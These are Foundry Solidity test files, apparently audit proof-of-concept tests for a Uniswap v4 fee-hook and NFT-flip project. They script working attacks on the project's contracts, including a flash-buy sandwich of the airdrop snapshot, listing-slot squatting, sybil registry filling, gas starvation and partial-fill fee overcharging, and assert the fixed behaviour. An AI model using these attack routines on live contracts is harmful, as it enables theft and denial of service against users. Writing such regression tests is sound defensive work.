        forever = new ForeverLiquidity(address(manager), address(token), address(hook));
        escrow.setFeeSink(address(feeSink));
        feeSink.setHook(address(hook));
        router = new ProofRouter(IPoolManager(address(manager)));
        key = forever.poolKey();
        startPrice = forever.sqrtPriceFromAmounts(1 ether, 500_000_000e18);
        token.approve(address(forever), 500_000_000e18);
        forever.seed{value: 1 ether}(startPrice, startPrice, startPrice, 500_000_000e18);
        vm.deal(swapper, 100 ether);
    }
}

/// @notice The hook forwards TRIGGER_GAS = 700,000 to FeeSink.tryBuy, but tryBuy scans every active
/// listing twice (FeeSink -> cheapest(), then buyCheapest -> cheapest()). With the market at its own cap of
/// 64 listings the purchase needs ~1.1M gas when the listings are cold, as they are in any real swap
/// transaction, so the in-swap purchase runs out of gas, is swallowed, and never happens.
contract ProofTriggerGasTest is ProofSystem {
    address internal seller = makeAddr("seller");

    function test_swapThatCrossesTheThresholdBuysWithAFullMarket() public {
        uint256 cap = market.MAX_ACTIVE_LISTINGS();
        vm.startPrank(seller);
        nft.setApprovalForAll(address(market), true);
        for (uint256 i = 0; i < cap; ++i) {
            market.list(nft.mint(seller), 0.005 ether + i);
        }
        vm.stopPrank();
        // The listings were created in earlier transactions: their storage is cold for the swap.
        vm.cool(address(market));
        vm.cool(address(nft));

        vm.prank(swapper);
        router.swap{value: 5 ether}(key, SwapParams(true, -5 ether, TickMath.MIN_SQRT_PRICE + 1));

        assertEq(hook.totalFeesCollected(), 0.015 ether, "fee skimmed: the sink is above MIN_BUY_THRESHOLD");
        assertEq(market.cheapest().price <= 0.015 ether, true, "an affordable listing exists");
        assertEq(feeSink.buyCount(), 1, "the in-swap purchase ran out of gas and was silently skipped");
        assertEq(address(feeSink).balance, 0.01 ether, "0.015 ETH of fees minus the 0.005 ETH listing");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {MockGotchiNFT} from "src/MockGotchiNFT.sol";
import {MockBaazaar} from "src/MockBaazaar.sol";
import {IMockBaazaar} from "src/interfaces/IMockBaazaar.sol";

/// @notice Listing is free and the NFT mint is permissionless, so one address can occupy all 64 listing
/// slots with unaffordable listings at no cost beyond gas. Nobody else can list afterwards and nothing but
/// the squatter's own `cancel` ever frees a slot, so FeeSink can never buy again and its ETH is stranded
/// (FeeSink has no withdraw path by design).
contract ProofListingSquatTest is Test {
    MockGotchiNFT internal nft;
    MockBaazaar internal market;
    address internal squatter = makeAddr("squatter");
    address internal seller = makeAddr("seller");

    function setUp() public {
        nft = new MockGotchiNFT();
        market = new MockBaazaar(address(nft));
    }

    function test_honestSellerCanListWhileASquatterHoldsEverySlot() public {
        uint256 cap = market.MAX_ACTIVE_LISTINGS();
        vm.startPrank(squatter);
        nft.setApprovalForAll(address(market), true);
        for (uint256 i = 0; i < cap; ++i) {
            market.list(nft.mint(squatter), type(uint256).max);
        }
        vm.stopPrank();

        uint256 tokenId = nft.mint(seller);
        vm.startPrank(seller);
        nft.approve(address(market), tokenId);
        (bool ok,) = address(market).call(abi.encodeCall(MockBaazaar.list, (tokenId, 0.005 ether)));
        vm.stopPrank();
        assertTrue(ok, "an honest 0.005 ETH listing is rejected: the market is squatted");

        IMockBaazaar.Listing memory best = market.cheapest();
        assertEq(best.price, 0.005 ether, "the affordable listing should be the one FeeSink can buy");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";

/// @notice A griefer spending 0.1% of the supply must not be able to lock every other holder out of the
/// airdrop registry forever. On the current code 128 dust addresses (128,000 GOTCHI, about 0.00026 ETH at
/// the configured opening price) fill MAX_HOLDERS and a holder of 10% of the supply can never enroll.
contract RegistryFillTest is Test {
    LaunchToken internal token;
    HolderWeightedPicker internal picker;
    address internal whale = makeAddr("whale");

    function setUp() public {
        token = new LaunchToken();
        picker = new HolderWeightedPicker(address(token));
    }

    function test_cheapRegistryFillCannotLockOutRealHolders() public {
        uint256 budget = token.TOTAL_SUPPLY() / 1000; // 0.1% of supply
        uint256 minimum = picker.MIN_ENROLL_BALANCE();
        uint256 sybils = budget / minimum;
        if (sybils > 4 * picker.MAX_HOLDERS()) sybils = 4 * picker.MAX_HOLDERS();
        uint256 enrolled = 0;
        for (uint256 i = 0; i < sybils; ++i) {
            address sybil = address(uint160(uint256(keccak256(abi.encode("sybil", i)))));
            token.transfer(sybil, minimum);
            vm.prank(sybil);
            try picker.enroll() {
                enrolled += 1;
            } catch {}
        }
        assertGt(enrolled, 0, "griefer enrolled at least one address");

        // an honest holder of 10% of the supply arrives afterwards
        token.transfer(whale, token.TOTAL_SUPPLY() / 10);
        vm.prank(whale);
        picker.enroll();
        assertTrue(picker.isEnrolled(whale), "a 10% holder must be able to enroll");

        // and must carry the overwhelming share of the next snapshot
        uint256 id = picker.snapshot();
        uint256 total = picker.snapshotInfo(id).totalWeight;
        (address winner,) = picker.pick(id, total - 1);
        assertEq(winner, whale, "whale occupies the top of the cumulative table");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {MockGotchiNFT} from "src/MockGotchiNFT.sol";
import {MockBaazaar} from "src/MockBaazaar.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";
import {FlipEscrow} from "src/FlipEscrow.sol";
import {FeeSink} from "src/FeeSink.sol";

/// @notice One unprivileged actor fills all MAX_ACTIVE_LISTINGS slots with free-minted NFTs priced far above
/// anything FeeSink will ever hold. Honest sellers are locked out (MarketFull) and FeeSink can never buy
/// again: the whole fee -> buy -> flip pipeline is frozen for the life of the immutable sink/market pair,
/// at the cost of 64 mints and listings (gas only). The griefer can also cancel one slot and relist at
/// exactly the sink's balance whenever they want to take the accumulated ETH.
contract MarketFillTest is Test {
    LaunchToken internal token;
    MockGotchiNFT internal nft;
    MockBaazaar internal market;
    HolderWeightedPicker internal picker;
    FlipEscrow internal escrow;
    FeeSink internal sink;
    address internal honestSeller = makeAddr("honestSeller");

    function setUp() public {
        token = new LaunchToken();
        nft = new MockGotchiNFT();
        market = new MockBaazaar(address(nft));
        picker = new HolderWeightedPicker(address(token));
        escrow = new FlipEscrow(address(this), address(nft), address(picker));
        sink = new FeeSink(address(this), address(market), address(escrow));
        escrow.setFeeSink(address(sink));
        sink.setHook(address(0xBEEF));
    }

    function test_griefersCannotFreezeTheMarketAgainstHonestSellers() public {
        uint256 cap = market.MAX_ACTIVE_LISTINGS();
        for (uint256 i = 0; i < cap; ++i) {
            address griefer = address(uint160(uint256(keccak256(abi.encode("griefer", i)))));
            uint256 tokenId = nft.mint(griefer);
            vm.startPrank(griefer);
            nft.approve(address(market), tokenId);
            market.list(tokenId, 1_000_000 ether);
            vm.stopPrank();
        }

        // fees arrive; the sink is well over its threshold
        vm.deal(address(this), 1 ether);
        (bool ok,) = address(sink).call{value: 1 ether}("");
        require(ok);
        assertFalse(sink.tryBuy(), "nothing affordable: the sink is stuck");

        // an honest seller shows up with a 0.001 ETH gotchi
        uint256 honestToken = nft.mint(honestSeller);
        vm.startPrank(honestSeller);
        nft.approve(address(market), honestToken);
        market.list(honestToken, 0.001 ether); // reverts MarketFull on the current code
        vm.stopPrank();

        assertTrue(sink.tryBuy(), "the sink buys the honest listing");
        assertEq(nft.ownerOf(honestToken), address(escrow));
        assertEq(market.proceeds(honestSeller), 0.001 ether);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {Currency} from "v4-core/types/Currency.sol";
import {BalanceDelta} from "v4-core/types/BalanceDelta.sol";
import {SwapParams} from "v4-core/types/PoolOperation.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {MockGotchiNFT} from "src/MockGotchiNFT.sol";
import {MockBaazaar} from "src/MockBaazaar.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";
import {FlipEscrow} from "src/FlipEscrow.sol";
import {FeeSink} from "src/FeeSink.sol";
import {GotchiHookDeployer} from "src/GotchiHookDeployer.sol";
import {GotchiFeeHook} from "src/GotchiFeeHook.sol";
import {ForeverLiquidity} from "src/ForeverLiquidity.sol";
import {GotchiConfig} from "src/GotchiConfig.sol";

/// @dev Minimal router: swaps for msg.sender, settles ETH from msg.value, refunds the rest.
contract Router is IUnlockCallback {
    IPoolManager public immutable manager;

    constructor(IPoolManager m) {
        manager = m;
    }

    receive() external payable {}

    function swap(PoolKey memory key, SwapParams memory params) external payable returns (BalanceDelta delta) {
        delta = abi.decode(manager.unlock(abi.encode(msg.sender, key, params)), (BalanceDelta));
        uint256 leftover = address(this).balance;
        if (leftover > 0) {
            (bool ok,) = payable(msg.sender).call{value: leftover}("");
            require(ok);
        }
    }

    function unlockCallback(bytes calldata raw) external returns (bytes memory) {
        require(msg.sender == address(manager));
        (address swapper, PoolKey memory key, SwapParams memory params) = abi.decode(raw, (address, PoolKey, SwapParams));
        BalanceDelta delta = manager.swap(key, params, "");
        if (delta.amount0() < 0) manager.settle{value: uint256(uint128(-delta.amount0()))}();
        if (delta.amount1() > 0) manager.take(key.currency1, swapper, uint256(uint128(delta.amount1())));
        if (delta.amount1() < 0) {
            manager.sync(key.currency1);
            IERC20(Currency.unwrap(key.currency1)).transferFrom(swapper, address(manager), uint256(uint128(-delta.amount1())));
            manager.settle();
        }
        if (delta.amount0() > 0) manager.take(key.currency0, swapper, uint256(uint128(delta.amount0())));
        return abi.encode(delta);
    }
}

/// @notice The hook must charge FEE_BPS of the ETH the pool actually swapped, not of the amount the swapper
/// *asked* to swap. With a price limit the pool fills only part of an exact-in order, yet the fee is taken on
/// the whole order: here a 10 ETH order fills 0.005 ETH and the swapper is charged 0.03 ETH (600% of the fill).
contract PartialFillFeeTest is Test {
    PoolManager internal manager;
    LaunchToken internal token;
    FeeSink internal sink;
    GotchiFeeHook internal hook;
    ForeverLiquidity internal forever;
    Router internal router;
    PoolKey internal key;
    address internal alice = makeAddr("alice");

    receive() external payable {}

    function setUp() public {
        manager = new PoolManager(address(this));
        token = new LaunchToken();
        MockGotchiNFT nft = new MockGotchiNFT();
        MockBaazaar market = new MockBaazaar(address(nft));
        HolderWeightedPicker picker = new HolderWeightedPicker(address(token));
        FlipEscrow escrow = new FlipEscrow(address(this), address(nft), address(picker));
        sink = new FeeSink(address(this), address(market), address(escrow));
        GotchiHookDeployer deployer = new GotchiHookDeployer(address(this));
        (bytes32 salt,) = deployer.findSalt(address(manager), 0, 1_000_000);
        hook = deployer.deploy(salt, address(manager), address(sink));
        escrow.setFeeSink(address(sink));
        sink.setHook(address(hook));
        forever = new ForeverLiquidity(address(manager), address(token), address(hook));
        key = forever.poolKey();
        uint160 price = forever.sqrtPriceFromAmounts(GotchiConfig.INITIAL_LIQUIDITY_ETH, GotchiConfig.INITIAL_LIQUIDITY_TOKENS);
        token.approve(address(forever), GotchiConfig.INITIAL_LIQUIDITY_TOKENS);
        vm.deal(address(this), 10 ether);
        forever.seed{value: GotchiConfig.INITIAL_LIQUIDITY_ETH}(price, price, price, GotchiConfig.INITIAL_LIQUIDITY_TOKENS);
        router = new Router(manager);
        vm.deal(alice, 100 ether);
    }

    function test_feeIsChargedOnTheFilledAmountNotTheOrderSize() public {
        uint160 current = forever.currentSqrtPriceX96();
        uint160 limit = uint160((uint256(current) * 995) / 1000); // stop 0.5% below the current sqrt price
        uint256 poolBefore = address(manager).balance;
        uint256 aliceBefore = alice.balance;

        vm.prank(alice);
        router.swap{value: 10 ether}(
            key, SwapParams({zeroForOne: true, amountSpecified: -10 ether, sqrtPriceLimitX96: limit})
        );

        uint256 ethSwapped = address(manager).balance - poolBefore; // what the pool actually took
        uint256 feeCharged = address(sink).balance;
        uint256 paid = aliceBefore - alice.balance;
        assertEq(paid, ethSwapped + feeCharged, "swapper paid the fill plus the fee");
        assertLt(ethSwapped, 1 ether, "the limit made this a partial fill");
        // FEE_BPS of the fill (allow 1 wei of rounding): on the current code feeCharged is 0.03 ether
        assertLe(feeCharged, hook.calculateFee(ethSwapped + feeCharged) + 1, "fee is 30 bps of the swapped ETH");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {Currency} from "v4-core/types/Currency.sol";
import {BalanceDelta} from "v4-core/types/BalanceDelta.sol";
import {SwapParams} from "v4-core/types/PoolOperation.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {MockGotchiNFT} from "src/MockGotchiNFT.sol";
import {MockBaazaar} from "src/MockBaazaar.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";
import {FlipEscrow} from "src/FlipEscrow.sol";
import {FeeSink} from "src/FeeSink.sol";
import {GotchiHookDeployer} from "src/GotchiHookDeployer.sol";
import {GotchiFeeHook} from "src/GotchiFeeHook.sol";
import {ForeverLiquidity} from "src/ForeverLiquidity.sol";
import {GotchiConfig} from "src/GotchiConfig.sol";

contract Router is IUnlockCallback {
    IPoolManager public immutable manager;

    constructor(IPoolManager m) {
        manager = m;
    }

    receive() external payable {}

    function swap(PoolKey memory key, SwapParams memory params) external payable returns (BalanceDelta delta) {
        delta = abi.decode(manager.unlock(abi.encode(msg.sender, key, params)), (BalanceDelta));
        uint256 leftover = address(this).balance;
        if (leftover > 0) {
            (bool ok,) = payable(msg.sender).call{value: leftover}("");
            require(ok);
        }
    }

    function unlockCallback(bytes calldata raw) external returns (bytes memory) {
        require(msg.sender == address(manager));
        (address swapper, PoolKey memory key, SwapParams memory params) = abi.decode(raw, (address, PoolKey, SwapParams));
        BalanceDelta delta = manager.swap(key, params, "");
        if (delta.amount0() < 0) manager.settle{value: uint256(uint128(-delta.amount0()))}();
        if (delta.amount1() > 0) manager.take(key.currency1, swapper, uint256(uint128(delta.amount1())));
        if (delta.amount1() < 0) {
            manager.sync(key.currency1);
            IERC20(Currency.unwrap(key.currency1)).transferFrom(swapper, address(manager), uint256(uint128(-delta.amount1())));
            manager.settle();
        }
        if (delta.amount0() > 0) manager.take(key.currency0, swapper, uint256(uint128(delta.amount0())));
        return abi.encode(delta);
    }
}

/// @notice The holder snapshot is the live balance in the commit block. An enrolled dust holder sandwiches the
/// flipper's `commit`: buy ~90% of the pool's tokens, get snapshotted, sell back. Round trip cost is the two
/// hook fees (~0.06 ETH on 10 ETH, LP fee is 0) and the attacker holds ~92% of the frozen weight.
contract SnapshotSandwichTest is Test {
    PoolManager internal manager;
    LaunchToken internal token;
    MockGotchiNFT internal nft;
    MockBaazaar internal market;
    HolderWeightedPicker internal picker;
    FlipEscrow internal escrow;
    FeeSink internal sink;
    GotchiFeeHook internal hook;
    ForeverLiquidity internal forever;
    Router internal router;
    PoolKey internal key;
    address internal alice = makeAddr("alice");
    address internal bob = makeAddr("bob");
    address internal attacker = makeAddr("attacker");
    address internal seller = makeAddr("seller");

    receive() external payable {}

    function setUp() public {
        manager = new PoolManager(address(this));
        token = new LaunchToken();
        nft = new MockGotchiNFT();
        market = new MockBaazaar(address(nft));
        picker = new HolderWeightedPicker(address(token));
        escrow = new FlipEscrow(address(this), address(nft), address(picker));
        sink = new FeeSink(address(this), address(market), address(escrow));
        GotchiHookDeployer deployer = new GotchiHookDeployer(address(this));
        (bytes32 salt,) = deployer.findSalt(address(manager), 0, 1_000_000);
        hook = deployer.deploy(salt, address(manager), address(sink));
        escrow.setFeeSink(address(sink));
        sink.setHook(address(hook));
        forever = new ForeverLiquidity(address(manager), address(token), address(hook));
        key = forever.poolKey();
        uint160 price = forever.sqrtPriceFromAmounts(GotchiConfig.INITIAL_LIQUIDITY_ETH, GotchiConfig.INITIAL_LIQUIDITY_TOKENS);
        token.approve(address(forever), GotchiConfig.INITIAL_LIQUIDITY_TOKENS);
        vm.deal(address(this), 10 ether);
        forever.seed{value: GotchiConfig.INITIAL_LIQUIDITY_ETH}(price, price, price, GotchiConfig.INITIAL_LIQUIDITY_TOKENS);
        router = new Router(manager);

        // honest, long-term holders
        _enroll(alice, 10_000_000e18);
        _enroll(bob, 30_000_000e18);
        // the attacker enrolled long ago with the minimum
        _enroll(attacker, GotchiConfig.MIN_ENROLL_BALANCE);
        vm.deal(attacker, 100 ether);

        // an NFT is acquired through the real sink so there is a pending flip
        uint256 tokenId = nft.mint(seller);
        vm.startPrank(seller);
        nft.approve(address(market), tokenId);
        market.list(tokenId, 0.004 ether);
        vm.stopPrank();
        (bool ok,) = address(sink).call{value: GotchiConfig.MIN_BUY_THRESHOLD}("");
        require(ok);
        assertTrue(sink.tryBuy());
        vm.roll(block.number + 100);
    }

    function _enroll(address who, uint256 amount) internal {
        token.transfer(who, amount);
        vm.prank(who);
        picker.enroll();
    }

    function test_flashBoughtBalanceDoesNotBuyTheSnapshot() public {
        uint256 ethBefore = attacker.balance;

        // front-run: buy with 10 ETH (pool holds 1 ETH / 500M GOTCHI)
        vm.prank(attacker);
        router.swap{value: 10 ether}(
            key, SwapParams({zeroForOne: true, amountSpecified: -10 ether, sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1})
        );
        uint256 flashTokens = token.balanceOf(attacker);
        assertGt(flashTokens, 400_000_000e18, "attacker momentarily holds most of the pool");

        // victim tx: the flipper commits, which freezes the snapshot
        escrow.commit(1, escrow.commitmentFor(bytes32("seed")));

        // back-run: sell everything but the enrolment minimum
        vm.startPrank(attacker);
        token.approve(address(router), type(uint256).max);
        router.swap(
            key,
            SwapParams({
                zeroForOne: false,
                amountSpecified: -int256(flashTokens - GotchiConfig.MIN_ENROLL_BALANCE),
                sqrtPriceLimitX96: TickMath.MAX_SQRT_PRICE - 1
            })
        );
        vm.stopPrank();
        uint256 cost = ethBefore - attacker.balance;
        assertLt(cost, 0.1 ether, "the sandwich costs only the two hook fees");

        // the frozen table: the attacker's weight must reflect what they actually hold, not the flash balance
        uint256 snapshotId = escrow.getAcquisition(1).snapshotId;
        uint256 total = picker.snapshotInfo(snapshotId).totalWeight;
        uint256 attackerWeight = 0;
        for (uint256 i = 0; i < picker.snapshotInfo(snapshotId).entryCount; ++i) {
            HolderWeightedPicker.Entry memory e = picker.snapshotEntry(snapshotId, i);
            uint256 prev = i > 0 ? picker.snapshotEntry(snapshotId, i - 1).cumulative : 0;
            if (e.holder == attacker) attackerWeight = uint256(e.cumulative) - prev;
        }
        // on the current code attackerWeight / total is about 92%
        assertLt(attackerWeight * 100, total * 5, "a one-block balance must not dominate the airdrop odds");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";

/// @notice A griefer spending 0.1% of the supply must not be able to lock every other holder out of the
/// airdrop registry forever. On the current code 128 dust addresses (128,000 GOTCHI, about 0.00026 ETH at
/// the configured opening price) fill MAX_HOLDERS and a holder of 10% of the supply can never enroll.
contract RegistryFillTest is Test {
    LaunchToken internal token;
    HolderWeightedPicker internal picker;
    address internal whale = makeAddr("whale");

    function setUp() public {
        token = new LaunchToken();
        picker = new HolderWeightedPicker(address(token));
    }

    function test_cheapRegistryFillCannotLockOutRealHolders() public {
        uint256 budget = token.TOTAL_SUPPLY() / 1000; // 0.1% of supply
        uint256 minimum = picker.MIN_ENROLL_BALANCE();
        uint256 sybils = budget / minimum;
        if (sybils > 4 * picker.MAX_HOLDERS()) sybils = 4 * picker.MAX_HOLDERS();
        uint256 enrolled = 0;
        for (uint256 i = 0; i < sybils; ++i) {
            address sybil = address(uint160(uint256(keccak256(abi.encode("sybil", i)))));
            token.transfer(sybil, minimum);
            vm.prank(sybil);
            try picker.enroll() {
                enrolled += 1;
            } catch {}
        }
        assertGt(enrolled, 0, "griefer enrolled at least one address");

        // an honest holder of 10% of the supply arrives afterwards
        token.transfer(whale, token.TOTAL_SUPPLY() / 10);
        vm.prank(whale);
        picker.enroll();
        assertTrue(picker.isEnrolled(whale), "a 10% holder must be able to enroll");

        // and must carry the overwhelming share of the next snapshot
        uint256 id = picker.snapshot();
        uint256 total = picker.snapshotInfo(id).totalWeight;
        (address winner,) = picker.pick(id, total - 1);
        assertEq(winner, whale, "whale occupies the top of the cumulative table");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {MockGotchiNFT} from "src/MockGotchiNFT.sol";
import {MockBaazaar} from "src/MockBaazaar.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";
import {FlipEscrow} from "src/FlipEscrow.sol";
import {FeeSink} from "src/FeeSink.sol";

/// @notice One unprivileged actor fills all MAX_ACTIVE_LISTINGS slots with free-minted NFTs priced far above
/// anything FeeSink will ever hold. Honest sellers are locked out (MarketFull) and FeeSink can never buy
/// again: the whole fee -> buy -> flip pipeline is frozen for the life of the immutable sink/market pair,
/// at the cost of 64 mints and listings (gas only). The griefer can also cancel one slot and relist at
/// exactly the sink's balance whenever they want to take the accumulated ETH.
contract MarketFillTest is Test {
    LaunchToken internal token;
    MockGotchiNFT internal nft;
    MockBaazaar internal market;
    HolderWeightedPicker internal picker;
    FlipEscrow internal escrow;
    FeeSink internal sink;
    address internal honestSeller = makeAddr("honestSeller");

    function setUp() public {
        token = new LaunchToken();
        nft = new MockGotchiNFT();
        market = new MockBaazaar(address(nft));
        picker = new HolderWeightedPicker(address(token));
        escrow = new FlipEscrow(address(this), address(nft), address(picker));
        sink = new FeeSink(address(this), address(market), address(escrow));
        escrow.setFeeSink(address(sink));
        sink.setHook(address(0xBEEF));
    }

    function test_griefersCannotFreezeTheMarketAgainstHonestSellers() public {
        uint256 cap = market.MAX_ACTIVE_LISTINGS();
        for (uint256 i = 0; i < cap; ++i) {
            address griefer = address(uint160(uint256(keccak256(abi.encode("griefer", i)))));
            uint256 tokenId = nft.mint(griefer);
            vm.startPrank(griefer);
            nft.approve(address(market), tokenId);
            market.list(tokenId, 1_000_000 ether);
            vm.stopPrank();
        }

        // fees arrive; the sink is well over its threshold
        vm.deal(address(this), 1 ether);
        (bool ok,) = address(sink).call{value: 1 ether}("");
        require(ok);
        assertFalse(sink.tryBuy(), "nothing affordable: the sink is stuck");

        // an honest seller shows up with a 0.001 ETH gotchi
        uint256 honestToken = nft.mint(honestSeller);
        vm.startPrank(honestSeller);
        nft.approve(address(market), honestToken);
        market.list(honestToken, 0.001 ether); // reverts MarketFull on the current code
        vm.stopPrank();

        assertTrue(sink.tryBuy(), "the sink buys the honest listing");
        assertEq(nft.ownerOf(honestToken), address(escrow));
        assertEq(market.proceeds(honestSeller), 0.001 ether);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {IUnlockCallback} from "v4-core/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {Currency} from "v4-core/types/Currency.sol";
import {BalanceDelta} from "v4-core/types/BalanceDelta.sol";
import {SwapParams} from "v4-core/types/PoolOperation.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {LaunchToken} from "src/LaunchToken.sol";
import {MockGotchiNFT} from "src/MockGotchiNFT.sol";
import {MockBaazaar} from "src/MockBaazaar.sol";
import {HolderWeightedPicker} from "src/HolderWeightedPicker.sol";
import {FlipEscrow} from "src/FlipEscrow.sol";
import {FeeSink} from "src/FeeSink.sol";
import {GotchiHookDeployer} from "src/GotchiHookDeployer.sol";
import {GotchiFeeHook} from "src/GotchiFeeHook.sol";
import {ForeverLiquidity} from "src/ForeverLiquidity.sol";
import {GotchiConfig} from "src/GotchiConfig.sol";

/// @dev Minimal router: swaps for msg.sender with the caller's price limit, settles ETH from msg.value and
/// tokens from the swapper's allowance, takes outputs to the swapper, refunds leftover ETH.
contract LimitRouter is IUnlockCallback {
    IPoolManager public immutable manager;

    constructor(IPoolManager m) {
        manager = m;
    }

    receive() external payable {}

    function swap(PoolKey memory key, SwapParams memory params) external payable returns (BalanceDelta delta) {
        delta = abi.decode(manager.unlock(abi.encode(msg.sender, key, params)), (BalanceDelta));
        uint256 left = address(this).balance;
        if (left > 0) {
            (bool ok,) = payable(msg.sender).call{value: left}("");
            require(ok, "refund failed");
        }
    }

    function unlockCallback(bytes calldata raw) external returns (bytes memory) {
        require(msg.sender == address(manager), "not manager");
        (address swapper, PoolKey memory key, SwapParams memory params) = abi.decode(raw, (address, PoolKey, SwapParams));
        BalanceDelta d = manager.swap(key, params, "");
        _settle(key.currency0, swapper, d.amount0());
        _settle(key.currency1, swapper, d.amount1());
        return abi.encode(d);
    }

    function _settle(Currency c, address swapper, int128 amount) private {
        if (amount < 0) {
            uint256 owed = uint256(uint128(-amount));
            if (c.isAddressZero()) {
                manager.settle{value: owed}();
            } else {
                manager.sync(c);
                IERC20(Currency.unwrap(c)).transferFrom(swapper, address(manager), owed);
                manager.settle();
            }
        } else if (amount > 0) {
            manager.take(c, swapper, uint256(uint128(amount)));
        }
    }
}

/// Finding: for ETH-specified swaps GotchiFeeHook.beforeSwap charges FEE_BPS of params.amountSpecified
/// and takes it before the pool runs. When the pool stops at sqrtPriceLimitX96 (a partial fill) the fee
/// is still 30 bps of the full request, so the swapper pays far more than 30 bps of the ETH that moved,
/// and an ETH exact-out seller can end up paying ETH instead of receiving it.
/// Passes once the hook sizes the fee from the realised ETH amount, or refuses partial fills.
contract PartialFillFeeProof is Test {
    PoolManager manager;
    LaunchToken token;
    MockGotchiNFT nft;
    MockBaazaar market;
    HolderWeightedPicker picker;
    FlipEscrow escrow;
    FeeSink feeSink;
    GotchiFeeHook hook;
    ForeverLiquidity forever;
    LimitRouter router;
    PoolKey key;
    uint160 p;

    address alice = makeAddr("alice");
    address bob = makeAddr("bob");

    receive() external payable {}

    function setUp() public {
        manager = new PoolManager(address(this));
        token = new LaunchToken();
        nft = new MockGotchiNFT();
        market = new MockBaazaar(address(nft));
        picker = new HolderWeightedPicker(address(token));
        escrow = new FlipEscrow(address(this), address(nft), address(picker));
        feeSink = new FeeSink(address(this), address(market), address(escrow));
        GotchiHookDeployer hd = new GotchiHookDeployer(address(this));
        (bytes32 salt,) = hd.findSalt(address(manager), 0, 1_000_000);
        hook = hd.deploy(salt, address(manager), address(feeSink));
        forever = new ForeverLiquidity(address(manager), address(token), address(hook));
        escrow.setFeeSink(address(feeSink));
        feeSink.setHook(address(hook));
        key = forever.poolKey();
        p = forever.sqrtPriceFromAmounts(GotchiConfig.INITIAL_LIQUIDITY_ETH, GotchiConfig.INITIAL_LIQUIDITY_TOKENS);
        token.approve(address(forever), GotchiConfig.INITIAL_LIQUIDITY_TOKENS);
        forever.seed{value: GotchiConfig.INITIAL_LIQUIDITY_ETH}(p, p, p, GotchiConfig.INITIAL_LIQUIDITY_TOKENS);
        router = new LimitRouter(manager);
        vm.deal(alice, 100 ether);
        vm.deal(bob, 10 ether);
        token.transfer(bob, 100_000_000e18);
    }

    /// ETH exact-in 10 ETH, price limit 0.1% below spot: the pool fills ~0.001 ETH.
    function test_ethExactInPartialFillPaysFeeOnlyOnSwappedEth() public {
        uint160 limit = uint160((uint256(p) * 999) / 1000);
        uint256 ethBefore = alice.balance;
        uint256 sinkBefore = address(feeSink).balance;
        vm.prank(alice);
        (bool ok,) = address(router).call{value: 10 ether}(
            abi.encodeCall(
                LimitRouter.swap, (key, SwapParams({zeroForOne: true, amountSpecified: -10 ether, sqrtPriceLimitX96: limit}))
            )
        );
        if (!ok) return; // a hook that refuses partial fills is an acceptable fix
        uint256 fee = address(feeSink).balance - sinkBefore;
        uint256 paid = ethBefore - alice.balance;
        uint256 swapped = paid - fee;
        // Expected: fee is FEE_BPS of the ETH that actually went into the pool.
        // Actual on this code: fee = 0.03 ETH (30 bps of the 10 ETH request) on a ~0.001 ETH fill.
        assertLe(fee, hook.calculateFee(swapped) + 1, "fee must be 30 bps of the swapped ETH, not of the request");
    }

    /// ETH exact-out 0.5 ETH (token in), price limit 0.1% above spot: the pool pays out ~0.001 ETH while
    /// the hook has already taken 0.0015 ETH, so the seller's ETH delta is negative.
    function test_ethExactOutPartialFillNeverMakesTheSellerPayEth() public {
        uint160 limit = uint160((uint256(p) * 1001) / 1000);
        uint256 ethBefore = bob.balance;
        vm.startPrank(bob);
        token.approve(address(router), type(uint256).max);
        (bool ok,) = address(router).call{value: 1 ether}(
            abi.encodeCall(
                LimitRouter.swap,
                (key, SwapParams({zeroForOne: false, amountSpecified: int256(0.5 ether), sqrtPriceLimitX96: limit}))
            )
        );
        vm.stopPrank();
        if (!ok) return; // a hook that refuses partial fills is an acceptable fix
        // Expected: a seller of tokens receives ETH (net of a 30 bps fee), never pays it.
        // Actual on this code: bob's ETH balance drops by ~0.0005 ETH and the sink keeps 0.0015 ETH.
        assertGe(bob.balance, ethBefore, "an ETH exact-out seller must not end the swap owing ETH");
    }
}

